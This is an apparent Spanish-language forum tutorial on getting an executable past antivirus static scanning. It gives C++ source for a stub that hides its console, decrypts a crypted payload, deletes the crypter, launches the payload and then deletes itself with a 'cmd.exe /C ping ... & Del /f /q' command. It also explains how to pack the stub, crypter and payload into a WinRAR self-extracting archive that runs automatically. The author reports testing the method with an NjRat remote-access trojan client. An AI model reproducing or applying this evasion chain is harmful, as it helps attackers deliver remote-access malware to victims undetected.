- El ejecutable principal.
- Cualquier crypter genérico que deje el archivo cifrado en el disco. Pero que también nos permita descifrarlo posteriormente. (Que funcione por consola de comandos)
- Un script (en mi caso lo he hecho en C++) que crearemos para descifrar automáticamente el archivo cifrado.
Código fuente:
Código: Seleccionar todo
#include <Windows.h>
#include <strsafe.h>
#define SELF_REMOVE_STRING TEXT("cmd.exe /C ping 1.1.1.1 -n 1 -w 1 > Nul & Del /f /q \"%s\"")
using namespace std;
void delMe() {
TCHAR szModuleName[MAX_PATH];
TCHAR szCmd[2 * MAX_PATH];
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
GetModuleFileName(NULL, szModuleName, MAX_PATH);
StringCbPrintf(szCmd, 2 * MAX_PATH, SELF_REMOVE_STRING, szModuleName);
CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main() {
FreeConsole();
system("comando para descifrar el archivo (mediante el crypter)");
system("del nombreCrypter");
ShellExecute(NULL, L"open", L"nombreArchivo", NULL, NULL, SW_RESTORE);
delMe();
return 0;
}
Seleccionamos los tres archivos (el que queremos bypassear, el crypter y el script), click derecho y añadir al archivo con WinRar.
Seleccionamos en método de compresión, la mejor. Y marcamos la casilla de crear un archivo autoextraíble.
En la pestaña "Avanzado" en autoextraíble y en instalación ponemos el nombre del script en la parte de ejecutar tras la extracción.
Resultado de AntiScan.Me cuando lo subí hace un par de semanas utilizando un cliente de NjRat:
Como dije esto solo funciona con el análisis estático, cuando sea cargado en memoria el antivirus lo detectará.